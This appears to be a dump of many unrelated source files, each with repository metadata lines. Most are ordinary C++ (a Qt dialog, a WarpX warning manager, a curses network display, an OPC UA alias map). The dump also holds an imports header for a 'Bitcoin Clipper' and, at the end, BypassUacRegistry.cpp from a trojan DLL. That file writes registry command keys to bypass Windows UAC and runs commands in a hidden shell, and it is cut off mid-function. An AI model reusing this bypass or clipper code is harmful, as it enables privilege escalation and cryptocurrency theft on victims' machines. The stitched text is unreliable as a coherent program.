*/
#include "TALK.h"
| 8.714286
| 26
| 0.42623
|
pbghogehoge
|
4e7d9fb0d783cacf96624b8cfa2bf90ec56b3618
| 1,376
|
hpp
|
C++
|
src/gui/dialogs/dialogsimulationoptions.hpp
|
henryiii/spatial-model-editor
|
2138d03ae4c7cc353b40324dfd1a3e763d7085d9
|
[
"MIT"
] | 1
|
2021-04-19T10:23:58.000Z
|
2021-04-19T10:23:58.000Z
|
src/gui/dialogs/dialogsimulationoptions.hpp
|
henryiii/spatial-model-editor
|
2138d03ae4c7cc353b40324dfd1a3e763d7085d9
|
[
"MIT"
] | 418
|
2020-10-08T07:42:27.000Z
|
2022-03-08T12:10:52.000Z
|
src/gui/dialogs/dialogsimulationoptions.hpp
|
henryiii/spatial-model-editor
|
2138d03ae4c7cc353b40324dfd1a3e763d7085d9
|
[
"MIT"
] | 2
|
2021-09-02T11:20:38.000Z
|
2021-10-13T14:05:32.000Z
|
#pragma once
#include "simulate_options.hpp"
#include <QDialog>
#include <memory>
namespace Ui {
class DialogSimulationOptions;
}
class DialogSimulationOptions : public QDialog {
Q_OBJECT
public:
explicit DialogSimulationOptions(const sme::simulate::Options &options,
QWidget *parent = nullptr);
~DialogSimulationOptions();
const sme::simulate::Options &getOptions() const;
private:
void setupConnections();
void loadDuneOpts();
void cmbDuneIntegrator_currentIndexChanged(int index);
void txtDuneDt_editingFinished();
void txtDuneMinDt_editingFinished();
void txtDuneMaxDt_editingFinished();
void txtDuneIncrease_editingFinished();
void txtDuneDecrease_editingFinished();
void chkDuneVTK_stateChanged();
void txtDuneNewtonRel_editingFinished();
void txtDuneNewtonAbs_editingFinished();
void resetDuneToDefaults();
void loadPixelOpts();
void cmbPixelIntegrator_currentIndexChanged(int index);
void txtPixelAbsErr_editingFinished();
void txtPixelRelErr_editingFinished();
void txtPixelDt_editingFinished();
void chkPixelMultithread_stateChanged();
void spnPixelThreads_valueChanged(int value);
void chkPixelCSE_stateChanged();
void spnPixelOptLevel_valueChanged(int value);
void resetPixelToDefaults();
std::unique_ptr<Ui::DialogSimulationOptions> ui;
sme::simulate::Options opt;
};
| 30.577778
| 73
| 0.778343
|
henryiii
|
4e83326317d143df4b4a298515402eb7529fe447
| 6,373
|
cpp
|
C++
|
Source/Utils/WarnManager.cpp
|
Alpine-DAV/WarpX
|
fe971e82a49a1c5101e5ef48cce849460dcb598d
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
Source/Utils/WarnManager.cpp
|
Alpine-DAV/WarpX
|
fe971e82a49a1c5101e5ef48cce849460dcb598d
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
Source/Utils/WarnManager.cpp
|
Alpine-DAV/WarpX
|
fe971e82a49a1c5101e5ef48cce849460dcb598d
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
/* Copyright 2021 Luca Fedeli
*
* This file is part of WarpX.
*
* License: BSD-3-Clause-LBNL
*/
#include "WarnManager.H"
#include "MsgLogger/MsgLogger.H"
#include <AMReX_ParallelDescriptor.H>
#include <algorithm>
#include <sstream>
using namespace Utils;
using namespace Utils::MsgLogger;
WarnManager::WarnManager():
m_rank{amrex::ParallelDescriptor::MyProc()},
m_p_logger{std::make_unique<Logger>()}
{}
void WarnManager::record_warning(
std::string topic,
std::string text,
Priority priority)
{
m_p_logger->record_msg(Msg{topic, text, priority});
}
std::string WarnManager::print_local_warnings(const std::string& when) const
{
auto all_warnings = m_p_logger->get_msgs_with_counter();
std::sort(all_warnings.begin(), all_warnings.end(),
[](const auto& a, const auto& b){return a.msg < b.msg;});
std::stringstream ss;
ss << "\n" << WarnManager::get_header(when, warn_line_size, false);
if(all_warnings.empty()){
ss << "* No recorded warnings.\n";
}
else{
for(const auto& warn_msg : all_warnings){
ss << print_warn_msg(warn_msg);
ss << "*\n";
}
}
ss << std::string(warn_line_size, '*') << "\n\n" ;
return ss.str();
}
std::string WarnManager::print_global_warnings(const std::string& when) const
{
auto all_warnings =
m_p_logger->collective_gather_msgs_with_counter_and_ranks();
if(m_rank != amrex::ParallelDescriptor::IOProcessorNumber())
return "[see I/O rank message]";
std::sort(all_warnings.begin(), all_warnings.end(),
[](const auto& a, const auto& b){
return a.msg_with_counter.msg < b.msg_with_counter.msg;});
std::stringstream ss;
ss << "\n" << WarnManager::get_header(when, warn_line_size, true);
if(all_warnings.empty()){
ss << "* No recorded warnings.\n";
}
else{
for(const auto& warn_msg : all_warnings){
ss << print_warn_msg(warn_msg);
ss << "*\n";
}
}
ss << std::string(warn_line_size, '*') << "\n\n" ;
return ss.str();
}
void WarnManager::debug_read_warnings_from_input(amrex::ParmParse& params)
{
std::vector<std::string> warnings;
params.queryarr("test_warnings", warnings);
for (const auto& warn : warnings){
amrex::ParmParse pp_warn(warn);
std::string topic;
pp_warn.query("topic", topic);
std::string msg;
pp_warn.query("msg", msg);
std::string spriority;
pp_warn.query("priority", spriority);
Priority priority = StringToPriority(spriority);
int all_involved = 0;
pp_warn.query("all_involved", all_involved);
if(all_involved != 0){
this->record_warning(topic, msg, priority);
}
else{
std::vector<int> who_involved;
pp_warn.queryarr("who_involved", who_involved);
if(std::find (who_involved.begin(), who_involved.end(), m_rank)
!= who_involved.end()){
this->record_warning(topic, msg, priority);
}
}
}
}
std::string WarnManager::print_warn_msg(
const MsgLogger::MsgWithCounter& msg_with_counter) const
{
std::stringstream ss;
ss << "* --> ";
if (msg_with_counter.msg.priority == MsgLogger::Priority::high)
ss << "[!!!]";
else if (msg_with_counter.msg.priority == MsgLogger::Priority::medium)
ss << "[!! ]";
else if (msg_with_counter.msg.priority == MsgLogger::Priority::low)
ss << "[! ]";
else
ss << "[???]";
ss << " [" + msg_with_counter.msg.topic << "] ";
if(msg_with_counter.counter == 2)
ss << "[raised twice]\n";
else if(msg_with_counter.counter == 1)
ss << "[raised once]\n";
else
ss << "[raised " << msg_with_counter.counter << " times]\n";
ss << msg_formatter(msg_with_counter.msg.text, warn_line_size, warn_tab_size);
return ss.str();
}
std::string WarnManager::print_warn_msg(
const MsgLogger::MsgWithCounterAndRanks& msg_with_counter_and_ranks) const
{
std::stringstream ss;
ss << this->print_warn_msg(msg_with_counter_and_ranks.msg_with_counter);
std::string raised_by = "@ Raised by: ";
if (!msg_with_counter_and_ranks.all_ranks){
for (const auto rr : msg_with_counter_and_ranks.ranks)
raised_by += " " + std::to_string(rr);
}
else{
raised_by += "ALL\n";
}
ss << WarnManager::msg_formatter(raised_by, warn_line_size, warn_tab_size);
return ss.str();
}
std::string WarnManager::get_header(
const std::string& when,
const int line_size,
const bool is_global)
{
const std::string warn_header{"**** WARNINGS "};
std::stringstream ss;
ss << warn_header <<
std::string(line_size - static_cast<int>(warn_header.length()), '*') << "\n" ;
if(is_global){
ss << "* GLOBAL warning list after " << " [ " << when << " ]\n*\n";
}
else{
auto const mpi_rank = amrex::ParallelDescriptor::MyProc();
ss << "* LOCAL" << " ( rank # " << mpi_rank << " ) "
<< " warning list after " << when << "\n*\n";
}
return ss.str();
}
std::string
WarnManager::msg_formatter(
const std::string& msg,
const int line_size,
const int tab_size)
{
const auto prefix = "*" + std::string(tab_size, ' ');
const auto prefix_length = static_cast<int>(prefix.length());
std::stringstream ss_out;
std::stringstream ss_msg{msg};
std::string line;
std::string word;
while(std::getline(ss_msg, line,'\n')){
ss_out << prefix;
std::stringstream ss_line{line};
int counter = prefix_length;
while (ss_line >> word){
const auto wlen = static_cast<int>(word.length());
if(counter == prefix_length){
ss_out << word;
counter += wlen;
}
else{
if (counter + wlen < line_size){
ss_out << " " << word;
counter += (wlen+1);
}
else{
ss_out << "\n" << prefix << word;
counter = prefix_length + wlen;
}
}
}
ss_out << '\n';
}
return ss_out.str();
}
| 26.554167
| 86
| 0.578064
|
Alpine-DAV
|
4e85a81d76b6342dd3c23a53671d6ed700d0e764
| 63
|
hpp
|
C++
|
src/boost_numeric_odeint_algebra_algebra_dispatcher.hpp
|
miathedev/BoostForArduino
|
919621dcd0c157094bed4df752b583ba6ea6409e
|
[
"BSL-1.0"
] | 10
|
2018-03-17T00:58:42.000Z
|
2021-07-06T02:48:49.000Z
|
src/boost_numeric_odeint_algebra_algebra_dispatcher.hpp
|
miathedev/BoostForArduino
|
919621dcd0c157094bed4df752b583ba6ea6409e
|
[
"BSL-1.0"
] | 2
|
2021-03-26T15:17:35.000Z
|
2021-05-20T23:55:08.000Z
|
src/boost_numeric_odeint_algebra_algebra_dispatcher.hpp
|
miathedev/BoostForArduino
|
919621dcd0c157094bed4df752b583ba6ea6409e
|
[
"BSL-1.0"
] | 4
|
2019-05-28T21:06:37.000Z
|
2021-07-06T03:06:52.000Z
|
#include <boost/numeric/odeint/algebra/algebra_dispatcher.hpp>
| 31.5
| 62
| 0.84127
|
miathedev
|
4e89c787d419fc2b342b26ebe8db84689704173a
| 4,979
|
cc
|
C++
|
curses/src/NetworkDisplay.cc
|
okeri/snm
|
06ce502e5635029d1e642fdac87f4a19c0bc4520
|
[
"MIT"
] | 3
|
2019-08-15T10:03:27.000Z
|
2020-01-02T14:29:08.000Z
|
curses/src/NetworkDisplay.cc
|
okeri/snm
|
06ce502e5635029d1e642fdac87f4a19c0bc4520
|
[
"MIT"
] | null | null | null |
curses/src/NetworkDisplay.cc
|
okeri/snm
|
06ce502e5635029d1e642fdac87f4a19c0bc4520
|
[
"MIT"
] | null | null | null |
#include <algorithm>
#include <stdexcept>
#include "NetworkDisplay.hh"
namespace {
std::string formatStatus(snm::ConnectionStatus status) {
switch (status) {
case snm::ConnectionStatus::Initializing:
return "Initializing";
case snm::ConnectionStatus::Connecting:
return "Connecting";
case snm::ConnectionStatus::Authenticating:
return "Authenticating";
case snm::ConnectionStatus::GettingIP:
return "Getting ip address";
case snm::ConnectionStatus::AuthFail:
return "Authentication failed";
case snm::ConnectionStatus::Aborted:
return "Aborted";
case snm::ConnectionStatus::ConnectFail:
return "Connection failed";
default:
return "Unknown status";
}
}
} // namespace
NetworkDisplay::NetworkDisplay() :
Window(80, 24),
state_(snm::State::NotConnected, "", false, 0, "") {
int width, height;
getmaxyx(win_, height, width);
page_ = height - 3;
update();
}
void NetworkDisplay::update() {
int count = networks_.size();
int current = -1;
auto findCurrentNetwork = [this] () {
auto found = std::find_if(networks_.begin(), networks_.end(),
[this] (auto ni) {
return state_.essid == ni.essid;
});
return found != networks_.end() ?
std::distance(networks_.begin(), found) : -1;
};
if (state_.state != snm::State::NotConnected) {
current = findCurrentNetwork();
}
if (!networks_.empty()) {
selected_ = std::clamp(selected_, 0, count - 1);
} else {
selected_ = -1;
}
top_ = std::clamp(selected_ - page_ / 2, 0, std::max(count - page_, 0));
werase(win_);
auto utf_chars = [](const char *input) {
unsigned result = 0;
for (auto c = input; *c; ++c) {
if ((*c & 0xc0) == 0x80) {
result++;
}
}
return result;
};
box(win_, 0, 0);
if (count != 0) {
auto head = colorControl(Colors::Head);
mvwprintw(win_, 1, 1, " %5s %48s %10s Quality",
"Type", "Essid", "Secure");
head.release();
for (auto i = top_, max = std::min(count, top_ + page_); i < max; ++i) {
auto clr = colorControl();
if (selected_ == current && current == i) {
clr = Colors::SelTagged;
} else if (selected_ == i) {
clr = Colors::Selected;
} else if (current == i) {
clr = Colors::Tagged;
}
auto essid = i != current ? networks_[i].essid :
currentConnectionInfo();
mvwprintw(win_, i + 2 - top_, 1,
"%s%5s %*s %10s %3d%%", selected_ == i ? "> ":" ",
networks_[i].state == snm::State::Ethernet ?
"eth" : "wifi",
48 + utf_chars(essid.c_str()), essid.c_str(),
networks_[i].enc ? "secured" : "open",
networks_[i].quality);
}
} else {
static const std::string outOfNetworks = "No netwoks found.";
auto head = colorControl(Colors::Head);
int width, height;
getmaxyx(win_, height, width);
mvwprintw(win_, height / 2, (width - outOfNetworks.length()) / 2,
outOfNetworks.c_str());
}
update_panels();
doupdate();
}
void NetworkDisplay::assign(Networks &&networks) {
networks_ = networks;
update();
}
void NetworkDisplay::setState(snm::ConnectionState &&state) {
state_ = state;
update();
}
void NetworkDisplay::setStatus(snm::ConnectionStatus status) {
status_ = status;
update();
}
std::string NetworkDisplay::currentConnectionInfo() {
switch (state_.state) {
case snm::State::Ethernet:
case snm::State::Wifi:
return state_.essid + " [" + state_.ip + "]";
case snm::State::ConnectingEth:
case snm::State::ConnectingWifi:
return state_.essid + " (" + formatStatus(status_) + ")";
default:
return state_.essid;
}
}
std::optional<snm::NetworkInfo> NetworkDisplay::selectedNetwork() {
return selected_ != -1 ?
std::optional(networks_[selected_]) :
std::nullopt;
}
bool NetworkDisplay::pressed(int ch) {
switch (ch) {
case KEY_DOWN:
selected_++;
update();
return true;
case KEY_UP:
selected_--;
update();
return true;
case KEY_NPAGE:
selected_ += page_;
update();
return true;
case KEY_PPAGE:
selected_ -= page_;
update();
return true;
default:
return false;
}
}
| 26.625668
| 80
| 0.513356
|
okeri
|
4e8eebe26a5f0a1fb33df7082cceaba5a4038c1d
| 647
|
cpp
|
C++
|
game2/src/InstructionShape.cpp
|
uta-gasp/custom-calibration
|
0e2039e56934f1aefd3a561a18bba960a34432ff
|
[
"MIT"
] | null | null | null |
game2/src/InstructionShape.cpp
|
uta-gasp/custom-calibration
|
0e2039e56934f1aefd3a561a18bba960a34432ff
|
[
"MIT"
] | null | null | null |
game2/src/InstructionShape.cpp
|
uta-gasp/custom-calibration
|
0e2039e56934f1aefd3a561a18bba960a34432ff
|
[
"MIT"
] | null | null | null |
//---------------------------------------------------------------------------
#include "InstructionShape.h"
#include "assets_pg.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
//---------------------------------------------------------------------------
using namespace ProfiledGame;
//---------------------------------------------------------------------------
__fastcall TiInstructionShape::TiInstructionShape(TiAnimationManager* aManager,
TiSize aScreenSize, TiSize aViewport) :
TiLevelInstruction(aManager, aScreenSize, aViewport)
{
iLevelRcID = IDR_INSTRUCTIONS_LEVEL2;
}
| 34.052632
| 79
| 0.421947
|
uta-gasp
|
4e9320278fa26067f1f233e67e18f53cfce8a6a9
| 429
|
hpp
|
C++
|
include/imports.hpp
|
Dschahannam/bitcoin-clipper-poc
|
b490727925896a4394967d87168db58fe92e8053
|
[
"Unlicense"
] | null | null | null |
include/imports.hpp
|
Dschahannam/bitcoin-clipper-poc
|
b490727925896a4394967d87168db58fe92e8053
|
[
"Unlicense"
] | null | null | null |
include/imports.hpp
|
Dschahannam/bitcoin-clipper-poc
|
b490727925896a4394967d87168db58fe92e8053
|
[
"Unlicense"
] | null | null | null |
#pragma once
/*
* Bitcoin Clipper
* Author: d5chahannam
* Created at 05.02.2022 - 16:11
*/
#include <windows.h>
#include <string>
#include <optional>
#include <vector>
#include <sstream>
#include <functional>
#include <xmmintrin.h>
#include <iostream>
#include <thread>
#include <map>
#include <memory>
#include "nlohmann/json.hpp"
#include "logging.hpp"
#include "singleton.hpp"
#include "xor.hpp"
#include "clipper.hpp"
| 16.5
| 32
| 0.710956
|
Dschahannam
|
4e935aa9e1ab12dbc71e907c3dfaa74793d75f69
| 217
|
hpp
|
C++
|
Libraries/OpenGLApi/Precompiled.hpp
|
jodavis42/ZilchShadersSamples
|
3c94d295b68ae2e81ece3b12f3a17fe7d59566de
|
[
"MIT"
] | 1
|
2019-08-31T00:45:44.000Z
|
2019-08-31T00:45:44.000Z
|
Libraries/OpenGLApi/Precompiled.hpp
|
jodavis42/ZilchShadersSamples
|
3c94d295b68ae2e81ece3b12f3a17fe7d59566de
|
[
"MIT"
] | 2
|
2019-09-08T16:06:05.000Z
|
2019-09-08T16:06:58.000Z
|
Libraries/OpenGLApi/Precompiled.hpp
|
jodavis42/ZilchShadersSamples
|
3c94d295b68ae2e81ece3b12f3a17fe7d59566de
|
[
"MIT"
] | null | null | null |
///////////////////////////////////////////////////////////////////////////////
/// Authors: Joshua Davis
///////////////////////////////////////////////////////////////////////////////
#include "OpenGlStandard.hpp"
| 36.166667
| 79
| 0.193548
|
jodavis42
|
4e97a4dbcd077add0e8ade12a7257129cdca02b9
| 261
|
hpp
|
C++
|
mge_v18_student_version/src/mge/util/LevelEditor/Factories/BoxFactory.hpp
|
TristanSmeets/Agent-OwO
|
9ee94c8fd605cdf2b2274624ef55f83e527ee472
|
[
"MIT"
] | null | null | null |
mge_v18_student_version/src/mge/util/LevelEditor/Factories/BoxFactory.hpp
|
TristanSmeets/Agent-OwO
|
9ee94c8fd605cdf2b2274624ef55f83e527ee472
|
[
"MIT"
] | null | null | null |
mge_v18_student_version/src/mge/util/LevelEditor/Factories/BoxFactory.hpp
|
TristanSmeets/Agent-OwO
|
9ee94c8fd605cdf2b2274624ef55f83e527ee472
|
[
"MIT"
] | null | null | null |
#pragma once
#include "mge/util/LevelEditor/Factories/AbstractFactory.hpp"
class BoxFactory :
public AbstractFactory
{
public:
BoxFactory();
BoxFactory(lua_State* config);
virtual ~BoxFactory();
GameObject* CreateGameObject(const std::string& name);
};
| 18.642857
| 61
| 0.766284
|
TristanSmeets
|
4e9c112aba70b599d6ee437faa0806448ec9c100
| 251
|
cpp
|
C++
|
src/MIT_alice/MAUIUniversalWidget.cpp
|
midasitdev/aliceui
|
3693018021892bcccbc66f29b931d9736db6f9dc
|
[
"MIT"
] | 10
|
2019-02-21T13:07:06.000Z
|
2019-09-21T02:56:37.000Z
|
src/MIT_alice/MAUIUniversalWidget.cpp
|
midasitdev/aliceui
|
3693018021892bcccbc66f29b931d9736db6f9dc
|
[
"MIT"
] | 5
|
2019-02-28T03:11:50.000Z
|
2019-03-08T00:16:17.000Z
|
src/MIT_alice/MAUIUniversalWidget.cpp
|
midasitdev/aliceui
|
3693018021892bcccbc66f29b931d9736db6f9dc
|
[
"MIT"
] | 5
|
2019-02-25T00:53:08.000Z
|
2019-07-05T01:50:34.000Z
|
#include "stdafx.h"
#include "MAUIUniversalWidget.h"
using namespace mit::alice;
MRUNTIME_IMPL_KINDOF( MAUIUniversalWidget, MAUILinearLayoutWidget );
MAUIUniversalWidget::MAUIUniversalWidget()
{
}
MAUIUniversalWidget::~MAUIUniversalWidget()
{
}
| 14.764706
| 68
| 0.796813
|
midasitdev
|
4ea6fef8b34e2ba4255c5e6857d5400647e80b6e
| 1,865
|
cpp
|
C++
|
src/OpcUaStackServer/NodeSet/NodeSetAlias.cpp
|
gianricardo/OpcUaStack
|
ccdef574175ffe8b7e82b886abc5e5403968b280
|
[
"Apache-2.0"
] | 108
|
2018-10-08T17:03:32.000Z
|
2022-03-21T00:52:26.000Z
|
src/OpcUaStackServer/NodeSet/NodeSetAlias.cpp
|
gianricardo/OpcUaStack
|
ccdef574175ffe8b7e82b886abc5e5403968b280
|
[
"Apache-2.0"
] | 287
|
2018-09-18T14:59:12.000Z
|
2022-01-13T12:28:23.000Z
|
src/OpcUaStackServer/NodeSet/NodeSetAlias.cpp
|
gianricardo/OpcUaStack
|
ccdef574175ffe8b7e82b886abc5e5403968b280
|
[
"Apache-2.0"
] | 32
|
2018-10-19T14:35:03.000Z
|
2021-11-12T09:36:46.000Z
|
/*
Copyright 2015 Kai Huebl (kai@huebl-sgh.de)
Lizenziert gemäß Apache Licence Version 2.0 (die „Lizenz“); Nutzung dieser
Datei nur in Übereinstimmung mit der Lizenz erlaubt.
Eine Kopie der Lizenz erhalten Sie auf http://www.apache.org/licenses/LICENSE-2.0.
Sofern nicht gemäß geltendem Recht vorgeschrieben oder schriftlich vereinbart,
erfolgt die Bereitstellung der im Rahmen der Lizenz verbreiteten Software OHNE
GEWÄHR ODER VORBEHALTE – ganz gleich, ob ausdrücklich oder stillschweigend.
Informationen über die jeweiligen Bedingungen für Genehmigungen und Einschränkungen
im Rahmen der Lizenz finden Sie in der Lizenz.
Autor: Kai Huebl (kai@huebl-sgh.de)
*/
#include "OpcUaStackServer/NodeSet/NodeSetAlias.h"
#include "OpcUaStackCore/BuildInTypes/OpcUaIdentifier.h"
using namespace OpcUaStackCore;
namespace OpcUaStackServer
{
NodeSetAlias::NodeSetAlias(void)
{
}
NodeSetAlias::~NodeSetAlias(void)
{
aliasMap_.clear();
}
bool
NodeSetAlias::insert(const std::string& aliasString, OpcUaNodeId& nodeId)
{
AliasMap::iterator it;
it = aliasMap_.find(aliasString);
if (it != aliasMap_.end()) {
return false;
}
aliasMap_.insert(std::make_pair(aliasString, nodeId));
return true;
}
bool
NodeSetAlias::map(const std::string& aliasString, OpcUaNodeId& nodeId)
{
AliasMap::iterator it;
it = aliasMap_.find(aliasString);
if (it == aliasMap_.end()) {
return false;
}
nodeId = it->second;
return true;
}
bool
NodeSetAlias::encodeAliases(boost::property_tree::ptree& ptree)
{
AliasMap::iterator it;
for (it = aliasMap_.begin(); it != aliasMap_.end(); it++) {
boost::property_tree::ptree pTreeAlias;
pTreeAlias.put("<xmlattr>.Alias", it->first);
pTreeAlias.put_value(it->second.toString());
ptree.add_child("Aliases.Alias", pTreeAlias);
}
return true;
}
}
| 24.539474
| 86
| 0.727078
|
gianricardo
|
4eab81d30d8d15441082a57dadd4bfce25ba3016
| 4,192
|
hh
|
C++
|
aeh/src/function_ref.hh
|
asielorz/aeh
|
6dbcce0970a558fb7f164b8880a3e834f9f6c8c9
|
[
"MIT"
] | null | null | null |
aeh/src/function_ref.hh
|
asielorz/aeh
|
6dbcce0970a558fb7f164b8880a3e834f9f6c8c9
|
[
"MIT"
] | null | null | null |
aeh/src/function_ref.hh
|
asielorz/aeh
|
6dbcce0970a558fb7f164b8880a3e834f9f6c8c9
|
[
"MIT"
] | null | null | null |
#pragma once
#include "function_ptr.hh"
#include <functional>
/*
* Non owning polymorphic callable object wrapper.
* Trivially copyable and destructible.
*
* template <typename Ret, typename ... Args>
* struct function_ref<Ret(Args...) noexcept> // Noexcept is optional. Will make operator () noexcept
* {
* constexpr function_ref() noexcept = default;
* constexpr function_ref(std::nullptr_t) noexcept;
*
* template <typename Callable>
* constexpr function_ref(Callable & c) noexcept;
*
* template <auto F>
* static constexpr function_ref to_constant;
*
* [[nodiscard]] constexpr auto has_value() const noexcept -> bool;
* constexpr explicit operator bool() const noexcept;
*
* [[nodiscard]] constexpr auto operator == (function_ref_base other) const noexcept -> bool;
* [[nodiscard]] constexpr auto operator != (function_ref_base other) const noexcept -> bool;
*
* constexpr Ret operator () (Args ... args) const; //noexcept if function_ref is given a noexcept function type
* };
*/
namespace aeh
{
template <typename T>
struct function_ref;
namespace detail
{
template <typename Caller>
struct function_ref_base
{
constexpr function_ref_base() noexcept = default;
constexpr function_ref_base(void * context_, Caller caller_) noexcept : context(context_), caller(caller_) {}
[[nodiscard]] constexpr auto has_value() const noexcept -> bool;
constexpr explicit operator bool() const noexcept;
[[nodiscard]] constexpr auto operator == (function_ref_base other) const noexcept -> bool;
[[nodiscard]] constexpr auto operator != (function_ref_base other) const noexcept -> bool;
protected:
void * context = nullptr;
Caller caller = nullptr;
};
} // namespace detail
template <typename Ret, typename ... Args>
struct function_ref<Ret(Args...)> final : public detail::function_ref_base<function_ptr<Ret(void *, Args...)>>
{
constexpr function_ref() noexcept = default;
constexpr function_ref(std::nullptr_t) noexcept {};
template <typename Callable, typename = std::enable_if_t<std::is_invocable_r_v<Ret, Callable &, Args...>>>
constexpr function_ref(Callable & c) noexcept;
template <typename Callable, typename = std::enable_if_t<std::is_invocable_r_v<Ret, Callable const &, Args...>>>
constexpr function_ref(Callable const & c) noexcept;
template <auto F>
static constexpr function_ref to_constant = []()
{
function_ref f;
f.caller = [](void *, Args ... args) -> Ret { return std::invoke(F, args...); };
return f;
}();
constexpr Ret operator () (Args ... args) const;
private:
using Base = detail::function_ref_base<function_ptr<Ret(void *, Args...)>>;
};
template <typename Ret, typename ... Args>
struct function_ref<Ret(Args...) noexcept> final : public detail::function_ref_base<function_ptr<Ret(void *, Args...) noexcept>>
{
constexpr function_ref() noexcept = default;
constexpr function_ref(std::nullptr_t) noexcept {};
template <typename Callable, typename = std::enable_if_t<std::is_nothrow_invocable_r_v<Ret, Callable &, Args...>>>
constexpr function_ref(Callable & c) noexcept;
template <typename Callable, typename = std::enable_if_t<std::is_nothrow_invocable_r_v<Ret, Callable const &, Args...>>>
constexpr function_ref(Callable const & c) noexcept;
//template <auto F>
//static constexpr function_ref to_constant = []()
//{
// function_ref f;
// f.caller = [](void *, Args ... args) noexcept -> Ret { return std::invoke(F, args...); };
// return f;
//}();
constexpr Ret operator () (Args ... args) const noexcept;
private:
using Base = detail::function_ref_base<function_ptr<Ret(void *, Args...)>>;
};
template <typename F>
[[nodiscard]] constexpr auto operator == (function_ref<F> f, std::nullptr_t) noexcept -> bool;
template <typename F>
[[nodiscard]] constexpr auto operator != (function_ref<F> f, std::nullptr_t) noexcept -> bool;
template <typename F>
[[nodiscard]] constexpr auto operator == (std::nullptr_t, function_ref<F> f) noexcept -> bool;
template <typename F>
[[nodiscard]] constexpr auto operator != (std::nullptr_t, function_ref<F> f) noexcept -> bool;
} // namespace aeh
#include "function_ref.inl"
| 33.536
| 129
| 0.706584
|
asielorz
|
4eadd89f3f5500004b3f5a1acf6ffe38d21b4262
| 14,124
|
cpp
|
C++
|
LittleBearDllNew/BypassUacRegistry.cpp
|
satadriver/LittleBear
|
ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5
|
[
"Apache-2.0"
] | null | null | null |
LittleBearDllNew/BypassUacRegistry.cpp
|
satadriver/LittleBear
|
ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5
|
[
"Apache-2.0"
] | null | null | null |
LittleBearDllNew/BypassUacRegistry.cpp
|
satadriver/LittleBear
|
ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5
|
[
"Apache-2.0"
] | null | null | null |
#include <windows.h>
#include "PublicVar.h"
#include "BypassUacRegistry.h"
//http://www.freebuf.com/sectool/114592.html
//http://bbs.pediy.com/thread-208717.htm
//http://blog.csdn.net/qq_27446553/article/details/52610365?locationNum=7
//http://www.freebuf.com/articles/system/116611.html
typedef VOID (WINAPI * PFN_GetNativeSystemInfo)(OUT LPSYSTEM_INFO);
typedef BOOL (WINAPI * PFN_Wow64DisableWow64FsRedirection)(OUT PVOID*);
typedef BOOL (WINAPI * PFN_Wow64RevertWow64FsRedirection)(OUT PVOID);
BOOL Is64System()
{
SYSTEM_INFO si = {0};
char szGetNativeSystemInfo[] = {'G','e','t','N','a','t','i','v','e','S','y','s','t','e','m','I','n','f','o',0};
PFN_GetNativeSystemInfo pfnGetNativeSystemInfo = (PFN_GetNativeSystemInfo)lpGetProcAddress(lpDllKernel32, szGetNativeSystemInfo);
if (pfnGetNativeSystemInfo)
{
pfnGetNativeSystemInfo(&si);
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
{
return TRUE;
}
}
return FALSE;
}
BOOL SetRegKeyStrVal(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpData)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
DWORD cbData = 0;
DWORD dwRet = 0;
REGSAM samDesired = KEY_ALL_ACCESS;
BYTE szBuffer[MAX_PATH] = {0};
CHAR szSysDir[MAX_PATH] = {0};
CHAR szCommand[MAX_PATH] = {0};
if (Is64System())
{
samDesired |= KEY_WOW64_64KEY;
}
if ((lpRegCreateKeyExA(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
dwRet = lpRegQueryValueExA( hRoot,
NULL,
NULL,
NULL,
szBuffer,
&cbData );
if (dwRet == ERROR_SUCCESS || dwRet == ERROR_MORE_DATA)
{
lpRegDeleteKeyA(hKey,lpSubKey);
lpRegCloseKey(hRoot);
if ((lpRegCreateKeyExA(hKey, lpSubKey, 0, NULL, 0, samDesired,NULL, &hRoot,&dwDisposition)) != ERROR_SUCCESS)
{
return FALSE;
}
}
if (lpRegSetValueExA(hRoot,NULL,0,REG_SZ, (BYTE *)lpData,lplstrlenA((char*)lpData)))
{
return FALSE;
}
if (lpRegCloseKey(hRoot))
{
return FALSE;
}
return TRUE;
}
BOOL DeleteRegKey(HKEY hKey,LPCSTR lpSubKey)
{
HKEY hRoot = NULL;
DWORD dwDisposition = 0;
if (lpRegCreateKeyExA(HKEY_CURRENT_USER, lpSubKey, 0, NULL,0,KEY_ALL_ACCESS,NULL,&hRoot,&dwDisposition) != ERROR_SUCCESS)
return FALSE;
if (lpRegDeleteKeyA(hKey,lpSubKey) != ERROR_SUCCESS)
return FALSE;
if (lpRegCloseKey(hRoot) != ERROR_SUCCESS)
return FALSE;
return TRUE;
}
int RunCmdGetResultWithoutBlack(char * strCommend,char * szResult,int iSize)
{
HANDLE hRead = 0;
HANDLE hWrite = 0;
SECURITY_ATTRIBUTES stSa;
stSa.nLength = sizeof(SECURITY_ATTRIBUTES);
stSa.lpSecurityDescriptor = NULL;
stSa.bInheritHandle = TRUE;
int iRet = lpCreatePipe(&hRead,&hWrite,&stSa,0);
if (iRet == 0)
{
return FALSE;
}
STARTUPINFOA stSi = {0};
stSi.cb = sizeof(STARTUPINFOA);
lpGetStartupInfoA(&stSi);
stSi.hStdInput = hRead;
stSi.hStdError = hWrite;
stSi.hStdOutput = hWrite;
stSi.wShowWindow = SW_HIDE;
stSi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
PROCESS_INFORMATION stPi = {0};
char szCmdLine[MAX_PATH];
lpwsprintfA(szCmdLine,"cmd /C %s",strCommend);
iRet = lpCreateProcessA(NULL,szCmdLine,NULL,NULL,TRUE,NULL,NULL,NULL,&stSi,&stPi);
if(iRet == 0)
{
return FALSE;
}
lpCloseHandle(hWrite);
DWORD dwCnt;
char * ptrResult = szResult;
while (TRUE)
{
iRet = lpReadFile(hRead,ptrResult,iSize,&dwCnt,NULL);
if (iRet == NULL)
break;
ptrResult += dwCnt;
}
